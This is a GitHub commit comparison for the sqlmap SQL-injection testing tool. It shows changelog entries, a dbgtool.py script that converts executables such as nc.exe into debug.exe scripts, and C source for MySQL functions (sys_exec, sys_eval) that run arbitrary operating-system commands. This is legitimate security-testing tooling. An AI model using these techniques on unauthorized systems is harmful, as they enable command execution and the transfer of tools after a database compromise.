mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-12-06 12:41:30 +00:00
Compare commits
64 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
b12d955274 | ||
|
|
770e000cb4 | ||
|
|
9ab174a444 | ||
|
|
77d9d22ceb | ||
|
|
dded57f1cd | ||
|
|
ad03684788 | ||
|
|
6054090191 | ||
|
|
a8d57bb031 | ||
|
|
193482a62b | ||
|
|
981c7a4428 | ||
|
|
793c323b2a | ||
|
|
d54a51a328 | ||
|
|
69204afe1f | ||
|
|
9631dc115e | ||
|
|
ae0f1985f3 | ||
|
|
deeccf9b5e | ||
|
|
1c5925ea2b | ||
|
|
7adbf5892d | ||
|
|
c25b49e80e | ||
|
|
96db179ffe | ||
|
|
f91843540f | ||
|
|
8f973ce574 | ||
|
|
161590e121 | ||
|
|
6690b4c00a | ||
|
|
bc3b4c6936 | ||
|
|
fd7cb9101c | ||
|
|
bc448211c5 | ||
|
|
73e713c5ba | ||
|
|
26cb082fc3 | ||
|
|
de393628d0 | ||
|
|
5560f0b68a | ||
|
|
92645dd264 | ||
|
|
9b0f11f879 | ||
|
|
e10ab5aa0e | ||
|
|
9c125a2b57 | ||
|
|
6ff8feb5cf | ||
|
|
d0604ef513 | ||
|
|
2d87a3349f | ||
|
|
9c42a883be | ||
|
|
2cc3bb2f6a | ||
|
|
9e0d890171 | ||
|
|
c1010c20d8 | ||
|
|
a4d62af2ea | ||
|
|
9340bf59fb | ||
|
|
0e9873fd4f | ||
|
|
c83593c044 | ||
|
|
24ddbdc89d | ||
|
|
b0ad102efb | ||
|
|
79c8d63b88 | ||
|
|
64bb57d786 | ||
|
|
1f7810e46a | ||
|
|
064029cb2d | ||
|
|
04c187c66a | ||
|
|
2f406b3e56 | ||
|
|
c05f600e90 | ||
|
|
4ae464c80d | ||
|
|
f92b76a8b0 | ||
|
|
374b9ba878 | ||
|
|
35708a0b97 | ||
|
|
996a872e51 | ||
|
|
c18efe5084 | ||
|
|
8d06975142 | ||
|
|
7e8ac16245 | ||
|
|
ad228e6947 |
@@ -1,13 +1,33 @@
|
|||||||
sqlmap (0.6.4-1) stable; urgency=low
|
sqlmap (0.6.4-1) stable; urgency=low
|
||||||
|
|
||||||
|
* Major enhancement to make the comparison algorithm work properly also
|
||||||
|
on url not stables automatically by using the difflib Sequence Matcher
|
||||||
|
object;
|
||||||
|
* Major enhancement to support SQL data definition statements, SQL data
|
||||||
|
manipulation statements, etc from user in SQL query and SQL shell if
|
||||||
|
stacked queries are supported by the web application technology;
|
||||||
|
* Major speed increase in DBMS basic fingerprint;
|
||||||
* Minor enhancement to support an option (--is-dba) to show if the
|
* Minor enhancement to support an option (--is-dba) to show if the
|
||||||
current user is a database management system administrator;
|
current user is a database management system administrator;
|
||||||
|
* Minor enhancement to support an option (--union-tech) to specify the
|
||||||
|
technique to use to detect the number of columns used in the web
|
||||||
|
application SELECT statement: NULL bruteforcing (default) or ORDER BY
|
||||||
|
clause bruteforcing;
|
||||||
|
* Added internal support to forge CASE statements, used only by --is-dba
|
||||||
|
query at the moment;
|
||||||
|
* Minor layout adjustment to the --update output;
|
||||||
|
* Increased default timeout to 30 seconds;
|
||||||
|
* Major bug fix to correctly handle custom SQL "limited" queries on
|
||||||
|
Microsoft SQL Server and Oracle;
|
||||||
* Major bug fix to avoid tracebacks when multiple targets are specified
|
* Major bug fix to avoid tracebacks when multiple targets are specified
|
||||||
and one of them is not reachable;
|
and one of them is not reachable;
|
||||||
|
* Minor bug fix to make the Partial UNION query SQL injection technique
|
||||||
|
work properly also on Oracle and Microsoft SQL Server;
|
||||||
* Minor bug fix to make the --postfix work even if --prefix is not
|
* Minor bug fix to make the --postfix work even if --prefix is not
|
||||||
provided;
|
provided;
|
||||||
|
* Updated documentation.
|
||||||
|
|
||||||
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Day, DD MMM 2009 10:00:00 +0000
|
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Tue, 3 Feb 2009 23:30:00 +0000
|
||||||
|
|
||||||
sqlmap (0.6.3-1) stable; urgency=low
|
sqlmap (0.6.3-1) stable; urgency=low
|
||||||
|
|
||||||
|
|||||||
752
doc/README.html
752
doc/README.html
File diff suppressed because it is too large
Load Diff
BIN
doc/README.pdf
BIN
doc/README.pdf
Binary file not shown.
752
doc/README.sgml
752
doc/README.sgml
File diff suppressed because it is too large
Load Diff
11
doc/THANKS
11
doc/THANKS
@@ -116,9 +116,20 @@ Sven Schluter <sschlueter@netzwerk.cc>
|
|||||||
for providing with a patch for waiting a number of seconds between
|
for providing with a patch for waiting a number of seconds between
|
||||||
each HTTP request
|
each HTTP request
|
||||||
|
|
||||||
|
Uemit Seren <uemit.seren@gmail.com>
|
||||||
|
for reporting a minor adjustment when running with python 2.6
|
||||||
|
|
||||||
|
Sumit Siddharth <sid@notsosecure.com>
|
||||||
|
for providing me with ideas on the implementation on a couple of
|
||||||
|
features
|
||||||
|
|
||||||
M Simkin <mlsimkin@cox.net>
|
M Simkin <mlsimkin@cox.net>
|
||||||
for suggesting a feature
|
for suggesting a feature
|
||||||
|
|
||||||
|
Konrads Smelkovs <konrads@smelkovs.com>
|
||||||
|
for reporting a few bugs in --sql-shell and --sql-query on Microsoft
|
||||||
|
SQL Server
|
||||||
|
|
||||||
Jason Swan <jasoneswan@gmail.com>
|
Jason Swan <jasoneswan@gmail.com>
|
||||||
for reporting a bug when enumerating columns on Microsoft SQL Server
|
for reporting a bug when enumerating columns on Microsoft SQL Server
|
||||||
for suggesting a couple of improvements
|
for suggesting a couple of improvements
|
||||||
|
|||||||
24
extra/dbgtool/README.txt
Normal file
24
extra/dbgtool/README.txt
Normal file
@@ -0,0 +1,24 @@
|
|||||||
|
To use dbgtool.py you need to pass it the MS-DOS executable binary file,
|
||||||
|
and optionally the output debug.exe script file name.
|
||||||
|
|
||||||
|
Example:
|
||||||
|
|
||||||
|
$ python ./dbgtool.py -i ./nc.exe -o nc.scr
|
||||||
|
|
||||||
|
This will create a ASCII text file with CRLF line terminators called
|
||||||
|
nc.scr.
|
||||||
|
|
||||||
|
Such file can then be converted to its original portable executable with
|
||||||
|
the Windows native debug.exe, that is installed by default in all Windows
|
||||||
|
systems:
|
||||||
|
|
||||||
|
> debug.exe < nc.scr
|
||||||
|
|
||||||
|
To be able to execute it on Windows you have to rename it to end with
|
||||||
|
'.com' or '.exe':
|
||||||
|
|
||||||
|
> ren nc_exe nc.exe
|
||||||
|
|
||||||
|
|
||||||
|
Happy hacking!
|
||||||
|
Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
114
extra/dbgtool/dbgtool.py
Executable file
114
extra/dbgtool/dbgtool.py
Executable file
@@ -0,0 +1,114 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
dbgtool.py - Portable executable to ASCII debug script converter
|
||||||
|
Copyright (C) 2009 Bernardo Damele A. G.
|
||||||
|
web: http://bernardodamele.blogspot.com/
|
||||||
|
email: bernardo.damele@gmail.com
|
||||||
|
|
||||||
|
This library is free software; you can redistribute it and/or
|
||||||
|
modify it under the terms of the GNU Lesser General Public
|
||||||
|
License as published by the Free Software Foundation; either
|
||||||
|
version 2.1 of the License, or (at your option) any later version.
|
||||||
|
|
||||||
|
This library is distributed in the hope that it will be useful,
|
||||||
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||||
|
Lesser General Public License for more details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU Lesser General Public
|
||||||
|
License along with this library; if not, write to the Free Software
|
||||||
|
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
import os
|
||||||
|
import sys
|
||||||
|
import struct
|
||||||
|
|
||||||
|
from optparse import OptionError
|
||||||
|
from optparse import OptionParser
|
||||||
|
|
||||||
|
|
||||||
|
def convert(inputFile):
|
||||||
|
fileStat = os.stat(inputFile)
|
||||||
|
fileSize = fileStat.st_size
|
||||||
|
|
||||||
|
if fileSize > 65280:
|
||||||
|
print 'ERROR: the provided input file \'%s\' is too big for debug.exe' % inputFile
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
script = 'n %s\r\nr cx\r\n' % os.path.basename(inputFile.replace('.', '_'))
|
||||||
|
script += "%x\r\nf 0100 ffff 00\r\n" % fileSize
|
||||||
|
scrString = ""
|
||||||
|
counter = 256
|
||||||
|
counter2 = 0
|
||||||
|
|
||||||
|
fp = open(inputFile, 'rb')
|
||||||
|
fileContent = fp.read()
|
||||||
|
|
||||||
|
for fileChar in fileContent:
|
||||||
|
unsignedFileChar = struct.unpack('B', fileChar)[0]
|
||||||
|
|
||||||
|
if unsignedFileChar != 0:
|
||||||
|
counter2 += 1
|
||||||
|
|
||||||
|
if not scrString:
|
||||||
|
scrString = "e %0x %02x" % (counter, unsignedFileChar)
|
||||||
|
else:
|
||||||
|
scrString += " %02x" % unsignedFileChar
|
||||||
|
elif scrString:
|
||||||
|
script += "%s\r\n" % scrString
|
||||||
|
scrString = ""
|
||||||
|
counter2 = 0
|
||||||
|
|
||||||
|
counter += 1
|
||||||
|
|
||||||
|
if counter2 == 20:
|
||||||
|
script += "%s\r\n" % scrString
|
||||||
|
scrString = ""
|
||||||
|
counter2 = 0
|
||||||
|
|
||||||
|
script += "w\r\nq\r\n"
|
||||||
|
|
||||||
|
return script
|
||||||
|
|
||||||
|
|
||||||
|
def main(inputFile, outputFile):
|
||||||
|
if not os.path.isfile(inputFile):
|
||||||
|
print 'ERROR: the provided input file \'%s\' is not a regular file' % inputFile
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
script = convert(inputFile)
|
||||||
|
|
||||||
|
if outputFile:
|
||||||
|
fpOut = open(outputFile, 'w')
|
||||||
|
sys.stdout = fpOut
|
||||||
|
sys.stdout.write(script)
|
||||||
|
sys.stdout.close()
|
||||||
|
else:
|
||||||
|
print script
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
usage = '%s -i <input file> [-o <output file>]' % sys.argv[0]
|
||||||
|
parser = OptionParser(usage=usage, version='0.1')
|
||||||
|
|
||||||
|
try:
|
||||||
|
parser.add_option('-i', dest='inputFile', help='Input binary file')
|
||||||
|
|
||||||
|
parser.add_option('-o', dest='outputFile', help='Output debug.exe text file')
|
||||||
|
|
||||||
|
(args, _) = parser.parse_args()
|
||||||
|
|
||||||
|
if not args.inputFile:
|
||||||
|
parser.error('Missing the input file, -h for help')
|
||||||
|
|
||||||
|
except (OptionError, TypeError), e:
|
||||||
|
parser.error(e)
|
||||||
|
|
||||||
|
inputFile = args.inputFile
|
||||||
|
outputFile = args.outputFile
|
||||||
|
|
||||||
|
main(inputFile, outputFile)
|
||||||
@@ -76,3 +76,7 @@ SQLMAP: [*] shutting down at: 16:23:21
|
|||||||
SQLMAP:
|
SQLMAP:
|
||||||
[*] Auxiliary module execution completed
|
[*] Auxiliary module execution completed
|
||||||
msf auxiliary(wmap_sqlmap) >
|
msf auxiliary(wmap_sqlmap) >
|
||||||
|
|
||||||
|
|
||||||
|
Happy hacking!
|
||||||
|
Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
|
|||||||
4
extra/mysqludfsys/lib_mysqludf_sys/Makefile
Normal file
4
extra/mysqludfsys/lib_mysqludf_sys/Makefile
Normal file
@@ -0,0 +1,4 @@
|
|||||||
|
LIBDIR=/usr/lib
|
||||||
|
|
||||||
|
install:
|
||||||
|
gcc -Wall -I/usr/include/mysql -I. -shared lib_mysqludf_sys.c -o $(LIBDIR)/lib_mysqludf_sys.so
|
||||||
43
extra/mysqludfsys/lib_mysqludf_sys/install.sh
Executable file
43
extra/mysqludfsys/lib_mysqludf_sys/install.sh
Executable file
@@ -0,0 +1,43 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
# lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
|
||||||
|
# Copyright (C) 2007 Roland Bouman
|
||||||
|
# Copyright (C) 2008-2009 Roland Bouman and Bernardo Damele A. G.
|
||||||
|
# web: http://www.mysqludf.org/
|
||||||
|
# email: mysqludfs@gmail.com, bernardo.damele@gmail.com
|
||||||
|
#
|
||||||
|
# This library is free software; you can redistribute it and/or
|
||||||
|
# modify it under the terms of the GNU Lesser General Public
|
||||||
|
# License as published by the Free Software Foundation; either
|
||||||
|
# version 2.1 of the License, or (at your option) any later version.
|
||||||
|
#
|
||||||
|
# This library is distributed in the hope that it will be useful,
|
||||||
|
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||||
|
# Lesser General Public License for more details.
|
||||||
|
#
|
||||||
|
# You should have received a copy of the GNU Lesser General Public
|
||||||
|
# License along with this library; if not, write to the Free Software
|
||||||
|
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
|
||||||
|
echo "Compiling the MySQL UDF"
|
||||||
|
make
|
||||||
|
|
||||||
|
if test $? -ne 0; then
|
||||||
|
echo "ERROR: You need libmysqlclient development software installed "
|
||||||
|
echo "to be able to compile this UDF, on Debian/Ubuntu just run:"
|
||||||
|
echo "apt-get install libmysqlclient15-dev"
|
||||||
|
exit 1
|
||||||
|
else
|
||||||
|
echo "MySQL UDF compiled successfully"
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo -e "\nPlease provide your MySQL root password"
|
||||||
|
|
||||||
|
mysql -u root -p mysql < lib_mysqludf_sys.sql
|
||||||
|
|
||||||
|
if test $? -ne 0; then
|
||||||
|
echo "ERROR: unable to install the UDF"
|
||||||
|
exit 1
|
||||||
|
else
|
||||||
|
echo "MySQL UDF installed successfully"
|
||||||
|
fi
|
||||||
426
extra/mysqludfsys/lib_mysqludf_sys/lib_mysqludf_sys.c
Normal file
426
extra/mysqludfsys/lib_mysqludf_sys/lib_mysqludf_sys.c
Normal file
@@ -0,0 +1,426 @@
|
|||||||
|
/*
|
||||||
|
lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
|
||||||
|
Copyright (C) 2007 Roland Bouman
|
||||||
|
Copyright (C) 2008-2009 Roland Bouman and Bernardo Damele A. G.
|
||||||
|
web: http://www.mysqludf.org/
|
||||||
|
email: mysqludfs@gmail.com, bernardo.damele@gmail.com
|
||||||
|
|
||||||
|
This library is free software; you can redistribute it and/or
|
||||||
|
modify it under the terms of the GNU Lesser General Public
|
||||||
|
License as published by the Free Software Foundation; either
|
||||||
|
version 2.1 of the License, or (at your option) any later version.
|
||||||
|
|
||||||
|
This library is distributed in the hope that it will be useful,
|
||||||
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||||
|
Lesser General Public License for more details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU Lesser General Public
|
||||||
|
License along with this library; if not, write to the Free Software
|
||||||
|
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
*/
|
||||||
|
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||||
|
#define DLLEXP __declspec(dllexport)
|
||||||
|
#else
|
||||||
|
#define DLLEXP
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifdef STANDARD
|
||||||
|
#include <string.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <time.h>
|
||||||
|
#ifdef __WIN__
|
||||||
|
typedef unsigned __int64 ulonglong;
|
||||||
|
typedef __int64 longlong;
|
||||||
|
#else
|
||||||
|
typedef unsigned long long ulonglong;
|
||||||
|
typedef long long longlong;
|
||||||
|
#endif /*__WIN__*/
|
||||||
|
#else
|
||||||
|
#include <my_global.h>
|
||||||
|
#include <my_sys.h>
|
||||||
|
#endif
|
||||||
|
#include <mysql.h>
|
||||||
|
#include <m_ctype.h>
|
||||||
|
#include <m_string.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
|
||||||
|
#include <ctype.h>
|
||||||
|
|
||||||
|
#ifdef HAVE_DLOPEN
|
||||||
|
#ifdef __cplusplus
|
||||||
|
extern "C" {
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#define LIBVERSION "lib_mysqludf_sys version 0.0.3"
|
||||||
|
|
||||||
|
#ifdef __WIN__
|
||||||
|
#define SETENV(name,value) SetEnvironmentVariable(name,value);
|
||||||
|
#else
|
||||||
|
#define SETENV(name,value) setenv(name,value,1);
|
||||||
|
#endif
|
||||||
|
|
||||||
|
DLLEXP
|
||||||
|
my_bool lib_mysqludf_sys_info_init(
|
||||||
|
UDF_INIT *initid
|
||||||
|
, UDF_ARGS *args
|
||||||
|
, char *message
|
||||||
|
);
|
||||||
|
|
||||||
|
DLLEXP
|
||||||
|
void lib_mysqludf_sys_info_deinit(
|
||||||
|
UDF_INIT *initid
|
||||||
|
);
|
||||||
|
|
||||||
|
DLLEXP
|
||||||
|
char* lib_mysqludf_sys_info(
|
||||||
|
UDF_INIT *initid
|
||||||
|
, UDF_ARGS *args
|
||||||
|
, char* result
|
||||||
|
, unsigned long* length
|
||||||
|
, char *is_null
|
||||||
|
, char *error
|
||||||
|
);
|
||||||
|
|
||||||
|
/**
|
||||||
|
* sys_get
|
||||||
|
*
|
||||||
|
* Gets the value of the specified environment variable.
|
||||||
|
*/
|
||||||
|
DLLEXP
|
||||||
|
my_bool sys_get_init(
|
||||||
|
UDF_INIT *initid
|
||||||
|
, UDF_ARGS *args
|
||||||
|
, char *message
|
||||||
|
);
|
||||||
|
|
||||||
|
DLLEXP
|
||||||
|
void sys_get_deinit(
|
||||||
|
UDF_INIT *initid
|
||||||
|
);
|
||||||
|
|
||||||
|
DLLEXP
|
||||||
|
char* sys_get(
|
||||||
|
UDF_INIT *initid
|
||||||
|
, UDF_ARGS *args
|
||||||
|
, char* result
|
||||||
|
, unsigned long* length
|
||||||
|
, char *is_null
|
||||||
|
, char *error
|
||||||
|
);
|
||||||
|
|
||||||
|
/**
|
||||||
|
* sys_set
|
||||||
|
*
|
||||||
|
* Sets the value of the environment variables.
|
||||||
|
* This function accepts a set of name/value pairs
|
||||||
|
* which are then set as environment variables.
|
||||||
|
* Use sys_get to retrieve the value of such a variable
|
||||||
|
*/
|
||||||
|
DLLEXP
|
||||||
|
my_bool sys_set_init(
|
||||||
|
UDF_INIT *initid
|
||||||
|
, UDF_ARGS *args
|
||||||
|
, char *message
|
||||||
|
);
|
||||||
|
|
||||||
|
DLLEXP
|
||||||
|
void sys_set_deinit(
|
||||||
|
UDF_INIT *initid
|
||||||
|
);
|
||||||
|
|
||||||
|
DLLEXP
|
||||||
|
long long sys_set(
|
||||||
|
UDF_INIT *initid
|
||||||
|
, UDF_ARGS *args
|
||||||
|
, char *is_null
|
||||||
|
, char *error
|
||||||
|
);
|
||||||
|
|
||||||
|
/**
|
||||||
|
* sys_exec
|
||||||
|
*
|
||||||
|
* executes the argument commandstring and returns its exit status.
|
||||||
|
* Beware that this can be a security hazard.
|
||||||
|
*/
|
||||||
|
DLLEXP
|
||||||
|
my_bool sys_exec_init(
|
||||||
|
UDF_INIT *initid
|
||||||
|
, UDF_ARGS *args
|
||||||
|
, char *message
|
||||||
|
);
|
||||||
|
|
||||||
|
DLLEXP
|
||||||
|
void sys_exec_deinit(
|
||||||
|
UDF_INIT *initid
|
||||||
|
);
|
||||||
|
|
||||||
|
DLLEXP
|
||||||
|
my_ulonglong sys_exec(
|
||||||
|
UDF_INIT *initid
|
||||||
|
, UDF_ARGS *args
|
||||||
|
, char *is_null
|
||||||
|
, char *error
|
||||||
|
);
|
||||||
|
|
||||||
|
/**
|
||||||
|
* sys_eval
|
||||||
|
*
|
||||||
|
* executes the argument commandstring and returns its standard output.
|
||||||
|
* Beware that this can be a security hazard.
|
||||||
|
*/
|
||||||
|
DLLEXP
|
||||||
|
my_bool sys_eval_init(
|
||||||
|
UDF_INIT *initid
|
||||||
|
, UDF_ARGS *args
|
||||||
|
, char *message
|
||||||
|
);
|
||||||
|
|
||||||
|
DLLEXP
|
||||||
|
void sys_eval_deinit(
|
||||||
|
UDF_INIT *initid
|
||||||
|
);
|
||||||
|
|
||||||
|
DLLEXP
|
||||||
|
char* sys_eval(
|
||||||
|
UDF_INIT *initid
|
||||||
|
, UDF_ARGS *args
|
||||||
|
, char* result
|
||||||
|
, unsigned long* length
|
||||||
|
, char *is_null
|
||||||
|
, char *error
|
||||||
|
);
|
||||||
|
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/**
|
||||||
|
* lib_mysqludf_sys_info
|
||||||
|
*/
|
||||||
|
my_bool lib_mysqludf_sys_info_init(
|
||||||
|
UDF_INIT *initid
|
||||||
|
, UDF_ARGS *args
|
||||||
|
, char *message
|
||||||
|
){
|
||||||
|
my_bool status;
|
||||||
|
if(args->arg_count!=0){
|
||||||
|
strcpy(
|
||||||
|
message
|
||||||
|
, "No arguments allowed (udf: lib_mysqludf_sys_info)"
|
||||||
|
);
|
||||||
|
status = 1;
|
||||||
|
} else {
|
||||||
|
status = 0;
|
||||||
|
}
|
||||||
|
return status;
|
||||||
|
}
|
||||||
|
void lib_mysqludf_sys_info_deinit(
|
||||||
|
UDF_INIT *initid
|
||||||
|
){
|
||||||
|
}
|
||||||
|
char* lib_mysqludf_sys_info(
|
||||||
|
UDF_INIT *initid
|
||||||
|
, UDF_ARGS *args
|
||||||
|
, char* result
|
||||||
|
, unsigned long* length
|
||||||
|
, char *is_null
|
||||||
|
, char *error
|
||||||
|
){
|
||||||
|
strcpy(result,LIBVERSION);
|
||||||
|
*length = strlen(LIBVERSION);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
my_bool sys_get_init(
|
||||||
|
UDF_INIT *initid
|
||||||
|
, UDF_ARGS *args
|
||||||
|
, char *message
|
||||||
|
){
|
||||||
|
if(args->arg_count==1
|
||||||
|
&& args->arg_type[0]==STRING_RESULT){
|
||||||
|
initid->maybe_null = 1;
|
||||||
|
return 0;
|
||||||
|
} else {
|
||||||
|
strcpy(
|
||||||
|
message
|
||||||
|
, "Expected exactly one string type parameter"
|
||||||
|
);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
void sys_get_deinit(
|
||||||
|
UDF_INIT *initid
|
||||||
|
){
|
||||||
|
}
|
||||||
|
char* sys_get(
|
||||||
|
UDF_INIT *initid
|
||||||
|
, UDF_ARGS *args
|
||||||
|
, char* result
|
||||||
|
, unsigned long* length
|
||||||
|
, char *is_null
|
||||||
|
, char *error
|
||||||
|
){
|
||||||
|
char* value = getenv(args->args[0]);
|
||||||
|
if(value == NULL){
|
||||||
|
*is_null = 1;
|
||||||
|
} else {
|
||||||
|
*length = strlen(value);
|
||||||
|
}
|
||||||
|
return value;
|
||||||
|
}
|
||||||
|
|
||||||
|
my_bool sys_set_init(
|
||||||
|
UDF_INIT *initid
|
||||||
|
, UDF_ARGS *args
|
||||||
|
, char *message
|
||||||
|
){
|
||||||
|
if(args->arg_count!=2){
|
||||||
|
strcpy(
|
||||||
|
message
|
||||||
|
, "Expected exactly two arguments"
|
||||||
|
);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
if(args->arg_type[0]!=STRING_RESULT){
|
||||||
|
strcpy(
|
||||||
|
message
|
||||||
|
, "Expected string type for name parameter"
|
||||||
|
);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
args->arg_type[1]=STRING_RESULT;
|
||||||
|
if((initid->ptr=malloc(
|
||||||
|
args->lengths[0]
|
||||||
|
+ 1
|
||||||
|
+ args->lengths[1]
|
||||||
|
+ 1
|
||||||
|
))==NULL){
|
||||||
|
strcpy(
|
||||||
|
message
|
||||||
|
, "Could not allocate memory"
|
||||||
|
);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
void sys_set_deinit(
|
||||||
|
UDF_INIT *initid
|
||||||
|
){
|
||||||
|
if (initid->ptr!=NULL){
|
||||||
|
free(initid->ptr);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
long long sys_set(
|
||||||
|
UDF_INIT *initid
|
||||||
|
, UDF_ARGS *args
|
||||||
|
, char *is_null
|
||||||
|
, char *error
|
||||||
|
){
|
||||||
|
char *name = initid->ptr;
|
||||||
|
char *value = name + args->lengths[0] + 1;
|
||||||
|
memcpy(
|
||||||
|
name
|
||||||
|
, args->args[0]
|
||||||
|
, args->lengths[0]
|
||||||
|
);
|
||||||
|
*(name + args->lengths[0]) = '\0';
|
||||||
|
memcpy(
|
||||||
|
value
|
||||||
|
, args->args[1]
|
||||||
|
, args->lengths[1]
|
||||||
|
);
|
||||||
|
*(value + args->lengths[1]) = '\0';
|
||||||
|
return SETENV(name,value);
|
||||||
|
}
|
||||||
|
|
||||||
|
my_bool sys_exec_init(
|
||||||
|
UDF_INIT *initid
|
||||||
|
, UDF_ARGS *args
|
||||||
|
, char *message
|
||||||
|
){
|
||||||
|
unsigned int i=0;
|
||||||
|
if(args->arg_count == 1
|
||||||
|
&& args->arg_type[i]==STRING_RESULT){
|
||||||
|
return 0;
|
||||||
|
} else {
|
||||||
|
strcpy(
|
||||||
|
message
|
||||||
|
, "Expected exactly one string type parameter"
|
||||||
|
);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
void sys_exec_deinit(
|
||||||
|
UDF_INIT *initid
|
||||||
|
){
|
||||||
|
}
|
||||||
|
my_ulonglong sys_exec(
|
||||||
|
UDF_INIT *initid
|
||||||
|
, UDF_ARGS *args
|
||||||
|
, char *is_null
|
||||||
|
, char *error
|
||||||
|
){
|
||||||
|
return system(args->args[0]);
|
||||||
|
}
|
||||||
|
|
||||||
|
my_bool sys_eval_init(
|
||||||
|
UDF_INIT *initid
|
||||||
|
, UDF_ARGS *args
|
||||||
|
, char *message
|
||||||
|
){
|
||||||
|
unsigned int i=0;
|
||||||
|
if(args->arg_count == 1
|
||||||
|
&& args->arg_type[i]==STRING_RESULT){
|
||||||
|
return 0;
|
||||||
|
} else {
|
||||||
|
strcpy(
|
||||||
|
message
|
||||||
|
, "Expected exactly one string type parameter"
|
||||||
|
);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
void sys_eval_deinit(
|
||||||
|
UDF_INIT *initid
|
||||||
|
){
|
||||||
|
}
|
||||||
|
char* sys_eval(
|
||||||
|
UDF_INIT *initid
|
||||||
|
, UDF_ARGS *args
|
||||||
|
, char* result
|
||||||
|
, unsigned long* length
|
||||||
|
, char *is_null
|
||||||
|
, char *error
|
||||||
|
){
|
||||||
|
FILE *pipe;
|
||||||
|
char line[1024];
|
||||||
|
unsigned long outlen, linelen;
|
||||||
|
|
||||||
|
result = malloc(1);
|
||||||
|
outlen = 0;
|
||||||
|
|
||||||
|
pipe = popen(args->args[0], "r");
|
||||||
|
|
||||||
|
while (fgets(line, sizeof(line), pipe) != NULL) {
|
||||||
|
linelen = strlen(line);
|
||||||
|
result = realloc(result, outlen + linelen);
|
||||||
|
strncpy(result + outlen, line, linelen);
|
||||||
|
outlen = outlen + linelen;
|
||||||
|
}
|
||||||
|
|
||||||
|
pclose(pipe);
|
||||||
|
|
||||||
|
if (!(*result) || result == NULL) {
|
||||||
|
*is_null = 1;
|
||||||
|
} else {
|
||||||
|
result[outlen] = 0x00;
|
||||||
|
*length = strlen(result);
|
||||||
|
}
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
#endif /* HAVE_DLOPEN */
|
||||||
278
extra/mysqludfsys/lib_mysqludf_sys/lib_mysqludf_sys.html
Normal file
278
extra/mysqludfsys/lib_mysqludf_sys/lib_mysqludf_sys.html
Normal file
@@ -0,0 +1,278 @@
|
|||||||
|
<?xml version="1.0" encoding="UTF-8" ?>
|
||||||
|
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
|
||||||
|
<html xmlns="http://www.w3.org/1999/xhtml">
|
||||||
|
<head>
|
||||||
|
<link rel="stylesheet" type="text/css" href="../mysqludf.css"/>
|
||||||
|
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
|
||||||
|
<title>lib_mysqludf_sys - A library of MySQL UDFs for working with the environment in which MySQL runs</title>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<div>
|
||||||
|
<a href="../index.html">Top</a>
|
||||||
|
| <a href="../mysql_udf_repository_libraries.html">Up</a>
|
||||||
|
</div>
|
||||||
|
<h1>lib_mysqludf_sys</h1>
|
||||||
|
<div>
|
||||||
|
<a href="lib_mysqludf_sys.html">Documentation</a>
|
||||||
|
| <a href="lib_mysqludf_sys.so">Binary</a>
|
||||||
|
| <a href="lib_mysqludf_sys.sql">Installation</a>
|
||||||
|
| <a href="lib_mysqludf_sys.c">Source</a>
|
||||||
|
| <a href="lib_mysqludf_sys_0.0.2.tar.gz">tar.gz</a>
|
||||||
|
</div>
|
||||||
|
<p>
|
||||||
|
This library <code>lib_mysqludf_sys</code> contains a number of functions that allows one to interact with the operating system.
|
||||||
|
</p>
|
||||||
|
<ol>
|
||||||
|
<li><a href="#sys_eval"><code>sys_eval</code></a> - executes an arbitrary command, and returns it's output.</li>
|
||||||
|
<li><a href="#sys_exec"><code>sys_exec</code></a> - executes an arbitrary command, and returns it's exit code.</li>
|
